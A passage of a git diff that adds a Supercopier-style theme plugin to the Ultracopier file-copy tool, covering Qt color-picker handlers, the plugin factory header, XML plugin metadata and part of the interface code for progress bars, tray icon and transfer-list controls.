+ QColor color=QColorDialog::getColor(progressColorWrite,NULL,tr("Select a color"));
+ if(!color.isValid())
+ return;
+ progressColorWrite=color;
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorWrite);
+ ui->progressColorWrite->setIcon(pixmap);
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("progressColorWrite"),progressColorWrite);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::progressColorRead_clicked()
+{
+ QColor color=QColorDialog::getColor(progressColorRead,NULL,tr("Select a color"));
+ if(!color.isValid())
+ return;
+ progressColorRead=color;
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorRead);
+ ui->progressColorRead->setIcon(pixmap);
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("progressColorRead"),progressColorRead);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::progressColorRemaining_clicked()
+{
+ QColor color=QColorDialog::getColor(progressColorRemaining,NULL,tr("Select a color"));
+ if(!color.isValid())
+ return;
+ progressColorRemaining=color;
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorRemaining);
+ ui->progressColorRemaining->setIcon(pixmap);
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("progressColorRemaining"),progressColorRemaining);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::updateProgressionColorBar()
+{
+ ui->labelProgressionColor->setVisible(ui->showDualProgression->isChecked());
+ ui->frameProgressionColor->setVisible(ui->showDualProgression->isChecked());
+}
+
+void ThemesFactory::setShowProgressionInTheTitle()
+{
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("showProgressionInTheTitle"),ui->showProgressionInTheTitle->isChecked());
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
diff --git a/plugins-alternative/Themes/Supercopier/factory.h b/plugins-alternative/Themes/Supercopier/factory.h
new file mode 100644
index 0000000..11607d2
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/factory.h
@@ -0,0 +1,83 @@
+/** \file factory.h
+\brief Define the factory, to create instance of the interface
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef FACTORY_H
+#define FACTORY_H
+
+#include <QObject>
+#include <QWidget>
+#include <QMenu>
+#include <QCloseEvent>
+#include <QFile>
+#include <QIcon>
+#include <QColor>
+#include <QPixmap>
+
+#include "../../../interface/PluginInterface_Themes.h"
+#include "ui_themesOptions.h"
+#include "interface.h"
+#include "Environment.h"
+
+namespace Ui {
+ class themesOptions;
+}
+
+/// \brief Define the factory, to create instance of the interface
+class ThemesFactory : public PluginInterface_ThemesFactory
+{
+ Q_OBJECT
+ Q_PLUGIN_METADATA(IID "first-world.info.ultracopier.PluginInterface.ThemesFactory/1.0.1.0" FILE "plugin.json")
+ Q_INTERFACES(PluginInterface_ThemesFactory)
+public:
+ ThemesFactory();
+ ~ThemesFactory();
+ /// \brief to return the instance of the copy engine
+ PluginInterface_Themes * getInstance();
+ /// \brief set the resources, to store options, to have facilityInterface
+ void setResources(OptionInterface * optionsEngine,const QString &
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ writePath
+ #endif
+ ,const QString &
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ pluginPath
+ #endif
+ ,FacilityInterface * facilityEngine,const bool &portableVersion);
+ /// \brief to get the default options widget
+ QWidget * options();
+ /// \brief to get a resource icon
+ QIcon getIcon(const QString &fileName) const;
+private slots:
+ void checkBoxShowSpeedHaveChanged(bool toggled);
+ void checkBoxStartWithMoreButtonPushedHaveChanged(bool toggled);
+ void comboBox_copyEnd(int value);
+ void speedWithProgressBar(bool toggled);
+ void checkBoxShowSpeed(bool checked);
+ void minimizeToSystray(bool checked);
+ void alwaysOnTop(bool checked);
+ void showDualProgression(bool checked);
+ void on_SliderSpeed_valueChanged(int value);
+ void uiUpdateSpeed();
+ void updateSpeed();
+ void progressColorWrite_clicked();
+ void progressColorRead_clicked();
+ void progressColorRemaining_clicked();
+ void updateProgressionColorBar();
+ void setShowProgressionInTheTitle();
+public slots:
+ void resetOptions();
+ void newLanguageLoaded();
+private:
+ OptionInterface * optionsEngine;
+ Ui::themesOptions *ui;
+ QWidget *tempWidget;
+ FacilityInterface * facilityEngine;
+ qint32 currentSpeed;///< in KB/s, assume as 0KB/s as default like every where
+ QColor progressColorWrite,progressColorRead,progressColorRemaining;
+signals:
+ void reloadLanguage() const;
+};
+
+#endif // FACTORY_H
diff --git a/plugins-alternative/Themes/Supercopier/informations.xml b/plugins-alternative/Themes/Supercopier/informations.xml
new file mode 100644
index 0000000..25a77f9
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/informations.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<package>
+ <title xml:lang="en"><![CDATA[Supercopier style for Ultracopier]]></title><!-- english is required -->
+ <title xml:lang="fr"><![CDATA[Style Supercopier pour Ultracopier]]></title>
+ <!-- What kind of plugin this is -->
+ <category>Themes</category>
+ <!-- Who wrote this plugin -->
+ <author><![CDATA[BRULE Herman, alpha_one_x86 (alpha_one_x86@first-world.info)]]></author>
+ <!-- URL of page or site for this plugin (may provide additional information, bug reports, feature requests). -->
+ <website xml:lang="en"><![CDATA[http://ultracopier.first-world.info/]]></website><!-- not required -->
+ <website xml:lang="fr"><![CDATA[http://ultracopier-fr.first-world.info/]]></website><!-- not required -->
+ <!-- the date-time format should be in timestamps format -->
+ <pubDate>1287496800</pubDate>
+ <!-- the architecture code of this plugin, found PlatformMacro.h into ultracopier source -->
+ <architecture>windows-x86</architecture>
+ <!-- Detailed description -->
+ <description xml:lang="en"><![CDATA[Supercopier style for Ultracopier]]></description>
+ <description xml:lang="fr"><![CDATA[Style Supercopier pour Ultracopier]]></description>
+ <!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
+ <version>1.2.3.6</version>
+ <!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
+ <name>Supercopier</name>
+ <!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
+ <dependencies><![CDATA[
+ ]]></dependencies>
+</package> \ No newline at end of file
diff --git a/plugins-alternative/Themes/Supercopier/interface.cpp b/plugins-alternative/Themes/Supercopier/interface.cpp
new file mode 100644
index 0000000..7af05e8
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/interface.cpp
@@ -0,0 +1,1332 @@
+/** \file interface.cpp
+\brief Define the interface core
+\author alpha_one_x86
+*/
+
+#include <QMessageBox>
+#include <QMimeData>
+#include <QScrollArea>
+#include <QColorDialog>
+#include <QRect>
+#include <QPainter>
+#include <cmath>
+#ifdef Q_OS_WIN
+ #ifndef NOMINMAX
+ #define NOMINMAX
+ #endif
+ #include <windows.h>
+#endif
+
+#include "interface.h"
+#include "ui_interface.h"
+#include "factory.h"
+
+// The cmath header from MSVC does not contain round()
+#if (defined(_WIN64) || defined(_WIN32)) && defined(_MSC_VER)
+inline double round(double d) {
+ return floor( d + 0.5 );
+}
+#endif
+
+QIcon Themes::player_pause=QIcon(QStringLiteral(":/Themes/Supercopier/resources/player_pause.png"));
+QIcon Themes::player_play=QIcon(QStringLiteral(":/Themes/Supercopier/resources/player_play.png"));
+
+Themes::Themes(const bool &alwaysOnTop,
+ const bool &showProgressionInTheTitle,
+ const QColor &progressColorWrite,
+ const QColor &progressColorRead,
+ const QColor &progressColorRemaining,
+ const bool &showDualProgression,
+ const quint8 &comboBox_copyEnd,
+ const bool &speedWithProgressBar,
+ const qint32 &currentSpeed,
+ const bool &checkBoxShowSpeed,
+ FacilityInterface * facilityEngine,
+ const bool &moreButtonPushed,
+ const bool &minimizeToSystray) :
+ ui(new Ui::interfaceCopy()),
+ uiOptions(new Ui::themesOptions())
+{
+ this->facilityEngine=facilityEngine;
+ ui->setupUi(this);
+ uiOptions->setupUi(ui->optionsTab);
+
+ currentFile = 0;
+ totalFile = 0;
+ currentSize = 0;
+ totalSize = 0;
+ getOldProgression = 200;
+ haveError = false;
+ stat = status_never_started;
+ modeIsForced = false;
+ haveStarted = false;
+ storeIsInPause = false;
+ durationStarted = false;
+
+ this->progressColorWrite = progressColorWrite;
+ this->progressColorRead = progressColorRead;
+ this->progressColorRemaining= progressColorRemaining;
+ this->currentSpeed = currentSpeed;
+ uiOptions->showProgressionInTheTitle->setChecked(showProgressionInTheTitle);
+ uiOptions->speedWithProgressBar->setChecked(speedWithProgressBar);
+ uiOptions->showDualProgression->setChecked(showDualProgression);
+ uiOptions->alwaysOnTop->setChecked(alwaysOnTop);
+ uiOptions->minimizeToSystray->setChecked(minimizeToSystray);
+ //uiOptions->setupUi(ui->tabWidget->widget(ui->tabWidget->count()-1));
+ uiOptions->labelStartWithMoreButtonPushed->setVisible(false);
+ uiOptions->checkBoxStartWithMoreButtonPushed->setVisible(false);
+ uiOptions->label_Slider_speed->setVisible(false);
+ uiOptions->SliderSpeed->setVisible(false);
+ uiOptions->label_SpeedMaxValue->setVisible(false);
+ uiOptions->comboBox_copyEnd->setCurrentIndex(comboBox_copyEnd);
+ speedWithProgressBar_toggled(speedWithProgressBar);
+ showDualProgression_toggled(showDualProgression);
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorWrite);
+ uiOptions->progressColorWrite->setIcon(pixmap);
+ pixmap.fill(progressColorRead);
+ uiOptions->progressColorRead->setIcon(pixmap);
+ pixmap.fill(progressColorRemaining);
+ uiOptions->progressColorRemaining->setIcon(pixmap);
+
+ transferModel.setFacilityEngine(facilityEngine);
+ ui->TransferList->setModel(&transferModel);
+ ui->tabWidget->setCurrentIndex(0);
+ uiOptions->toolBox->setCurrentIndex(0);
+ uiOptions->checkBoxShowSpeed->setChecked(checkBoxShowSpeed);
+ menu=new QMenu(this);
+ ui->add->setMenu(menu);
+
+ #ifdef Q_OS_WIN32
+ pixmapTop=QPixmap(":/Themes/Supercopier/resources/SystemTrayIcon/systray_Top_Progress_Windows.png");
+ pixmapBottom=QPixmap(":/Themes/Supercopier/resources/SystemTrayIcon/systray_Bottom_Progress_Windows.png");
+ #else
+ pixmapTop=QPixmap(":/Themes/Supercopier/resources/SystemTrayIcon/systray_Top_Progress_Unix.png");
+ pixmapBottom=QPixmap(":/Themes/Supercopier/resources/SystemTrayIcon/systray_Bottom_Progress_Unix.png");
+ #endif
+
+ //connect the options
+ checkBoxShowSpeed_toggled(uiOptions->checkBoxShowSpeed->isChecked());
+ connect(uiOptions->checkBoxShowSpeed,&QCheckBox::stateChanged,this,&Themes::checkBoxShowSpeed_toggled);
+ connect(uiOptions->speedWithProgressBar,&QCheckBox::stateChanged,this,&Themes::speedWithProgressBar_toggled);
+ connect(uiOptions->showProgressionInTheTitle,&QCheckBox::stateChanged,this,&Themes::updateTitle);
+ connect(uiOptions->showDualProgression,&QCheckBox::stateChanged,this,&Themes::showDualProgression_toggled);
+ connect(uiOptions->progressColorWrite,&QAbstractButton::clicked,this,&Themes::progressColorWrite_clicked);
+ connect(uiOptions->progressColorRead, &QAbstractButton::clicked,this,&Themes::progressColorRead_clicked);
+ connect(uiOptions->progressColorRemaining,&QAbstractButton::clicked,this,&Themes::progressColorRemaining_clicked);
+ connect(uiOptions->alwaysOnTop,&QAbstractButton::clicked,this,&Themes::alwaysOnTop_clickedSlot);
+
+ isInPause(false);
+
+ connect(uiOptions->limitSpeed, static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this, &Themes::uiUpdateSpeed);
+ connect(uiOptions->checkBox_limitSpeed,&QAbstractButton::toggled, this, &Themes::uiUpdateSpeed);
+
+ connect(ui->actionAddFile,&QAction::triggered,this,&Themes::forcedModeAddFile);
+ connect(ui->actionAddFileToCopy,&QAction::triggered,this,&Themes::forcedModeAddFileToCopy);
+ connect(ui->actionAddFileToMove,&QAction::triggered,this,&Themes::forcedModeAddFileToMove);
+ connect(ui->actionAddFolderToCopy,&QAction::triggered,this,&Themes::forcedModeAddFolderToCopy);
+ connect(ui->actionAddFolderToMove,&QAction::triggered,this,&Themes::forcedModeAddFolderToMove);
+ connect(ui->actionAddFolder,&QAction::triggered,this,&Themes::forcedModeAddFolder);
+ connect(ui->exportErrorToTransferList,&QToolButton::triggered,this,&Themes::exportErrorIntoTransferList);
+
+ //setup the search part
+ closeTheSearchBox();
+ TimerForSearch = new QTimer(this);
+ TimerForSearch->setInterval(500);
+ TimerForSearch->setSingleShot(true);
+ searchShortcut = new QShortcut(QKeySequence(QKeySequence::Find),this);
+ searchShortcut2 = new QShortcut(QKeySequence(QKeySequence::FindNext),this);
+ searchShortcut3 = new QShortcut(QKeySequence(Qt::Key_Escape),this);
+
+ //connect the search part
+ connect(TimerForSearch, &QTimer::timeout, this, &Themes::hilightTheSearchSlot);
+ connect(searchShortcut, &QShortcut::activated, this, &Themes::searchBoxShortcut);
+ connect(searchShortcut2, &QShortcut::activated, this, &Themes::on_pushButtonSearchNext_clicked);
+ connect(ui->pushButtonCloseSearch, &QPushButton::clicked, this, &Themes::closeTheSearchBox);
+ connect(searchShortcut3, &QShortcut::activated, this, &Themes::closeTheSearchBox);
+
+ //reload directly untranslatable text
+ newLanguageLoaded();
+
+ //unpush the more button
+ ui->moreButton->setChecked(moreButtonPushed);
+ on_moreButton_toggled(moreButtonPushed);
+
+ /// \note important for drag and drop, \see dropEvent()
+ setAcceptDrops(true);
+
+ shutdown=facilityEngine->haveFunctionality(QStringLiteral("shutdown"));
+ ui->shutdown->setVisible(shutdown);
+
+ selectionModel=ui->TransferList->selectionModel();
+
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ connect(&transferModel,&TransferModel::debugInformation,this,&Themes::debugInformation);
+ #endif
+
+ updateSpeed();
+ alwaysOnTop_clicked(false);
+ /*#ifdef Q_OS_WIN32
+ uiOptions->labelAlwaysOnTop->hide();
+ uiOptions->alwaysOnTop->hide();
+ #endif*/
+ #ifdef ULTRACOPIER_VERSION_ULTIMATE
+ ui->ad_ultimate->hide();
+ #else
+ QString ultimateUrl=facilityEngine->ultimateUrl();
+ if(ultimateUrl.isEmpty())
+ ui->ad_ultimate->hide();
+ else
+ ui->ad_ultimate->setText(QStringLiteral("<a href=\"%1\">%2</a>").arg(ultimateUrl).arg(tr("Buy the Ultimate version to fund development")));
+ #endif
+
+ uiOptions->labelDualProgression->hide();
+ uiOptions->showDualProgression->hide();
+ ui->progressBar_all->setMaximumHeight(17);
+ ui->progressBar_file->setMaximumHeight(17);
+ ui->progressBarCurrentSpeed->setMaximumHeight(17);
+ ui->progressBar_all->setMinimumHeight(17);
+ ui->progressBar_file->setMinimumHeight(17);
+ ui->progressBarCurrentSpeed->setMinimumHeight(17);
+ ui->progressBar_all->setStyleSheet(QStringLiteral("QProgressBar{color:#fff;font-weight:bold;border:1px solid black;text-align:center;background-image:url(:/Themes/Supercopier/resources/progressbarright.png);}QProgressBar::chunk{background-image: url(:/Themes/Supercopier/resources/progressbarleft.png);}"));
+ ui->progressBar_file->setStyleSheet(QStringLiteral("QProgressBar{color:#fff;font-weight:bold;border:1px solid black;text-align:center;background-image:url(:/Themes/Supercopier/resources/progressbarright.png);}QProgressBar::chunk{background-image: url(:/Themes/Supercopier/resources/progressbarleft.png);}"));
+ ui->progressBarCurrentSpeed->setStyleSheet(QStringLiteral("QProgressBar{color:#fff;font-weight:bold;border:1px solid black;text-align:center;background-image:url(:/Themes/Supercopier/resources/progressbarright.png);}QProgressBar::chunk{background-image: url(:/Themes/Supercopier/resources/progressbarleft.png);}"));
+
+ show();
+
+ sysTrayIcon = new QSystemTrayIcon(this);
+ connect(sysTrayIcon,&QSystemTrayIcon::activated,this,&Themes::catchAction);
+}
+
+Themes::~Themes()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ //disconnect(ui->actionAddFile);
+ //disconnect(ui->actionAddFolder);
+ delete selectionModel;
+ delete menu;
+ delete sysTrayIcon;
+}
+
+QWidget * Themes::getOptionsEngineWidget()
+{
+ return &optionEngineWidget;
+}
+
+void Themes::getOptionsEngineEnabled(const bool &isEnabled)
+{
+ if(isEnabled)
+ {
+ QScrollArea *scrollArea=new QScrollArea(ui->tabWidget);
+ scrollArea->setWidgetResizable(true);
+ scrollArea->setWidget(&optionEngineWidget);
+ ui->tabWidget->addTab(scrollArea,facilityEngine->translateText(QStringLiteral("Copy engine")));
+ }
+}
+
+void Themes::closeEvent(QCloseEvent *event)
+{
+ event->ignore();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ this->hide();
+ if(uiOptions->minimizeToSystray->isChecked())
+ {
+ updateSysTrayIcon();
+ sysTrayIcon->show();
+ }
+ else
+ emit cancel();
+}
+
+void Themes::updateSysTrayIcon()
+{
+ if(totalSize==0)
+ {
+ sysTrayIcon->setIcon(dynaIcon(0,QStringLiteral("-")));
+ return;
+ }
+ quint64 currentNew=currentSize*100;
+ //update systray icon
+ quint16 getVarProgression=currentNew/totalSize;
+ if(getOldProgression!=getVarProgression)
+ {
+ getOldProgression=getVarProgression;
+ sysTrayIcon->setIcon(dynaIcon(getVarProgression));
+ }
+}
+
+void Themes::updateOverallInformation()
+{
+ if(uiOptions->showProgressionInTheTitle->isChecked())
+ updateTitle();
+ ui->overall->setText(tr("File %1/%2, size: %3/%4").arg(currentFile).arg(totalFile).arg(facilityEngine->sizeToString(currentSize)).arg(facilityEngine->sizeToString(totalSize)));
+}
+
+void Themes::actionInProgess(const Ultracopier::EngineActionInProgress &action)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("start: ")+QString::number(action));
+ this->action=action;
+ switch(action)
+ {
+ case Ultracopier::Copying:
+ case Ultracopier::CopyingAndListing:
+ ui->progressBar_all->setMaximum(65535);
+ ui->progressBar_all->setMinimum(0);
+ break;
+ case Ultracopier::Listing:
+ ui->progressBar_all->setMaximum(0);
+ ui->progressBar_all->setMinimum(0);
+ break;
+ case Ultracopier::Idle:
+ ui->progressBar_all->setMaximum(65535);
+ ui->progressBar_all->setMinimum(0);
+ if(haveStarted && transferModel.rowCount()<=0)
+ {
+ if(shutdown && ui->shutdown->isChecked())
+ {
+ facilityEngine->callFunctionality(QStringLiteral("shutdown"));
+ return;
+ }
+ switch(uiOptions->comboBox_copyEnd->currentIndex())
+ {
+ case 2:
+ emit cancel();
+ break;
+ case 0:
+ if(!haveError)
+ emit cancel();
+ else
+ ui->tabWidget->setCurrentWidget(ui->tab_error);
+ break;
+ default:
+ break;
+ }
+ stat = status_stopped;
+ if(durationStarted)
+ {
+ Ultracopier::TimeDecomposition time=facilityEngine->secondsToTimeDecomposition(duration.elapsed()/1000);
+ ui->labelTimeRemaining->setText(QStringLiteral("<html><body style=\"white-space:nowrap;\">")+facilityEngine->translateText(QStringLiteral("Completed in %1")).arg(
+ QString::number(time.hour)+QStringLiteral(":")+QString::number(time.minute).rightJustified(2,'0')+QStringLiteral(":")+QString::number(time.second).rightJustified(2,'0')
+ )+QStringLiteral("</body></html>"));
+ }
+ }
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"Very wrong switch case!");
+ break;
+ }
+ switch(action)
+ {
+ case Ultracopier::Copying:
+ case Ultracopier::CopyingAndListing:
+ ui->pauseButton->setEnabled(true);
+ if(!durationStarted)
+ {
+ duration.start();
+ durationStarted=true;
+ }
+ haveStarted=true;
+ ui->cancelButton->setText(facilityEngine->translateText(QStringLiteral("Quit")));
+ updatePause();
+ break;
+ case Ultracopier::Listing:
+ ui->pauseButton->setEnabled(false);
+ haveStarted=true;//to close if skip at root folder collision
+ break;
+ case Ultracopier::Idle:
+ ui->pauseButton->setEnabled(false);
+ break;
+ default:
+ break;
+ }
+}
+
+void Themes::newFolderListing(const QString &path)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ QString newPath=path;
+ if(newPath.size()>(64+3))
+ newPath=newPath.mid(0,32)+QStringLiteral("...")+newPath.mid(newPath.size()-32,32);
+ if(action==Ultracopier::Listing)
+ ui->from->setText(newPath);
+}
+
+void Themes::detectedSpeed(const quint64 &speed)//in byte per seconds
+{
+ if(uiOptions->speedWithProgressBar->isChecked())
+ {
+ quint64 tempSpeed=speed;
+ if(tempSpeed>999999999)
+ tempSpeed=999999999;
+ if(tempSpeed>(quint64)ui->progressBarCurrentSpeed->maximum())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("set max speed to: %1").arg(tempSpeed));
+ ui->progressBarCurrentSpeed->setMaximum(tempSpeed);
+ }
+ ui->progressBarCurrentSpeed->setValue(tempSpeed);
+ ui->progressBarCurrentSpeed->setFormat(facilityEngine->speedToString(speed));
+ }
+ else
+ ui->currentSpeed->setText(facilityEngine->speedToString(speed));
+}
+
+void Themes::remainingTime(const int &remainingSeconds)
+{
+ QString labelTimeRemaining(QStringLiteral("<html><body style=\"white-space:nowrap;\">")+facilityEngine->translateText(QStringLiteral("Time remaining:"))+QStringLiteral(" "));
+ if(remainingSeconds==-1)
+ labelTimeRemaining+=QStringLiteral("&#8734;");
+ else
+ {
+ Ultracopier::TimeDecomposition time=facilityEngine->secondsToTimeDecomposition(remainingSeconds);
+ labelTimeRemaining+=QString::number(time.hour)+QStringLiteral(":")+QString::number(time.minute).rightJustified(2,'0')+QStringLiteral(":")+QString::number(time.second).rightJustified(2,'0');
+ }
+ labelTimeRemaining+=QStringLiteral("</body></html>");
+ ui->labelTimeRemaining->setText(labelTimeRemaining);
+}
+
+void Themes::errorDetected()
+{
+ haveError=true;
+}
+
+/// \brief new error
+void Themes::errorToRetry(const QString &source,const QString &destination,const QString &error)
+{
+ ui->errorList->addTopLevelItem(new QTreeWidgetItem(QStringList() << source << destination << error));
+}
+
+/** \brief support speed limitation */
+void Themes::setSupportSpeedLimitation(const bool &supportSpeedLimitationBool)
+{
+ if(!supportSpeedLimitationBool)
+ {
+ ui->label_Slider_speed->setVisible(false);
+ ui->SliderSpeed->setVisible(false);
+ ui->label_SpeedMaxValue->setVisible(false);
+ uiOptions->labelShowSpeedAsMain->setVisible(false);
+ uiOptions->checkBoxShowSpeed->setVisible(false);
+ }
+ else
+ emit newSpeedLimitation(currentSpeed);
+}
+
+//get information about the copy
+void Themes::setGeneralProgression(const quint64 &current,const quint64 &total)
+{
+ currentSize=current;
+ totalSize=total;
+ if(total>0)
+ {
+ int newIndicator=((double)current/total)*65535;
+ ui->progressBar_all->setValue(newIndicator);
+ }
+ else
+ ui->progressBar_all->setValue(0);
+ if(current>0)
+ stat = status_started;
+ updateOverallInformation();
+ if(isHidden())
+ updateSysTrayIcon();
+}
+
+void Themes::setFileProgression(const QList<Ultracopier::ProgressionItem> &progressionList)
+{
+ QList<Ultracopier::ProgressionItem> progressionListBis=progressionList;
+ transferModel.setFileProgression(progressionListBis);
+ updateCurrentFileInformation();
+}
+
+//edit the transfer list
+/// \todo check and re-enable to selection
+void Themes::getActionOnList(const QList<Ultracopier::ReturnActionOnCopyList> &returnActions)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, returnActions.size(): ")+QString::number(returnActions.size()));
+ QList<quint64> returnValue=transferModel.synchronizeItems(returnActions);
+ totalFile+=returnValue.first();
+ totalSize+=returnValue.at(1);
+ currentFile+=returnValue.last();
+ if(transferModel.rowCount()==0)
+ {
+ ui->skipButton->setEnabled(false);
+ ui->progressBar_all->setValue(65535);
+ ui->progressBar_file->setValue(65535);
+ currentSize=totalSize;
+ if(isHidden())
+ updateSysTrayIcon();
+ }
+ else
+ ui->skipButton->setEnabled(true);
+ updateOverallInformation();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("transferModel.rowCount(): ")+QString::number(transferModel.rowCount()));
+}
+
+void Themes::setCopyType(const Ultracopier::CopyType &type)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ this->type=type;
+ updateModeAndType();
+}
+
+void Themes::forceCopyMode(const Ultracopier::CopyMode &mode)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ modeIsForced=true;
+ this->mode=mode;
+ if(mode==Ultracopier::Copy)
+ ui->tabWidget->setTabText(0,tr("Copy list"));
+ else
+ ui->tabWidget->setTabText(0,tr("Move list"));
+ updateModeAndType();
+ updateTitle();
+}
+
+void Themes::setTransferListOperation(const Ultracopier::TransferListOperation &transferListOperation)
+{
+ ui->exportTransferList->setVisible(transferListOperation & Ultracopier::TransferListOperation_Export);
+ ui->importTransferList->setVisible(transferListOperation & Ultracopier::TransferListOperation_Import);
+}
+
+void Themes::haveExternalOrder()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+// ui->moreButton->toggle();
+}
+
+void Themes::isInPause(const bool &isInPause)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("isInPause: ")+QString::number(isInPause));
+ //resume in auto the pause
+ storeIsInPause=isInPause;
+ updatePause();
+}
+
+void Themes::updatePause()
+{
+ if(storeIsInPause)
+ {
+ ui->pauseButton->setIcon(player_play);
+ if(stat == status_started)
+ ui->pauseButton->setText(facilityEngine->translateText(QStringLiteral("Resume")));
+ else
+ ui->pauseButton->setText(facilityEngine->translateText(QStringLiteral("Start")));
+ }
+ else
+ {
+ ui->pauseButton->setIcon(player_pause);
+ ui->pauseButton->setText(facilityEngine->translateText(QStringLiteral("Pause")));
+ }
+}
+
+void Themes::updateCurrentFileInformation()
+{
+ TransferModel::currentTransfertItem transfertItem=transferModel.getCurrentTransfertItem();
+ if(transfertItem.haveItem)
+ {
+ QString newPath=transfertItem.from;
+ if(newPath.size()>(64+3))
+ newPath=newPath.mid(0,32)+QStringLiteral("...")+newPath.mid(newPath.size()-32,32);
+ ui->from->setText(newPath);
+ newPath=transfertItem.to;
+ if(newPath.size()>(64+3))
+ newPath=newPath.mid(0,32)+QStringLiteral("...")+newPath.mid(newPath.size()-32,32);
+ ui->to->setText(newPath);
+ ui->current_file->setText(transfertItem.current_file);
+ if(transfertItem.progressBar_read!=-1)
+ {
+ ui->progressBar_file->setRange(0,65535);
+ if(uiOptions->showDualProgression->isChecked())
+ {
+ if(transfertItem.progressBar_read!=transfertItem.progressBar_write)
+ {
+ float permilleread=round((float)transfertItem.progressBar_read/65535*1000)/1000;
+ float permillewrite=permilleread-0.001;
+ ui->progressBar_file->setStyleSheet(QStringLiteral("QProgressBar{border: 1px solid grey;text-align: center;background-color: qlineargradient(spread:pad, x1:%1, y1:0, x2:%2, y2:0, stop:0 %3, stop:1 %4);}QProgressBar::chunk{background-color:%5;}")
+ .arg(permilleread)
+ .arg(permillewrite)
+ .arg(progressColorRemaining.name())
+ .arg(progressColorRead.name())
+ .arg(progressColorWrite.name())
+ );
+ }
+ else
+ ui->progressBar_file->setStyleSheet(QStringLiteral("QProgressBar{border:1px solid grey;text-align:center;background-color:%1;}QProgressBar::chunk{background-color:%2;}")
+ .arg(progressColorRemaining.name())
+ .arg(progressColorWrite.name())
+ );
+ ui->progressBar_file->setValue(transfertItem.progressBar_write);
+ }
+ else
+ ui->progressBar_file->setValue((transfertItem.progressBar_read+transfertItem.progressBar_write)/2);
+ }
+ else
+ ui->progressBar_file->setRange(0,0);
+ }
+ else
+ {
+ ui->from->setText(QStringLiteral(""));
+ ui->to->setText(QStringLiteral(""));
+ ui->current_file->setText(QStringLiteral("-"));
+ if(haveStarted && transferModel.rowCount()==0)
+ ui->progressBar_file->setValue(65535);
+ else if(!haveStarted)
+ ui->progressBar_file->setValue(0);
+ }
+}
+
+
+void Themes::on_putOnTop_clicked()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ selectedItems=selectionModel->selectedRows();
+ QList<int> ids;
+ int index=0;
+ const int &loop_size=selectedItems.size();
+ while(index<loop_size)
+ {
+ ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
+ index++;
+ }
+ if(ids.size()>0)
+ emit moveItemsOnTop(ids);
+}
+
+void Themes::on_pushUp_clicked()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ selectedItems=selectionModel->selectedRows();
+ QList<int> ids;
+ int index=0;
+ const int &loop_size=selectedItems.size();
+ while(index<loop_size)
+ {
+ ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
+ index++;
+ }
+ if(ids.size()>0)
+ emit moveItemsUp(ids);
+}
+
+void Themes::on_pushDown_clicked()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ selectedItems=selectionModel->selectedRows();
+ QList<int> ids;
+ int index=0;
+ const int &loop_size=selectedItems.size();
+ while(index<loop_size)
+ {
+ ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
+ index++;
+ }
+ if(ids.size()>0)
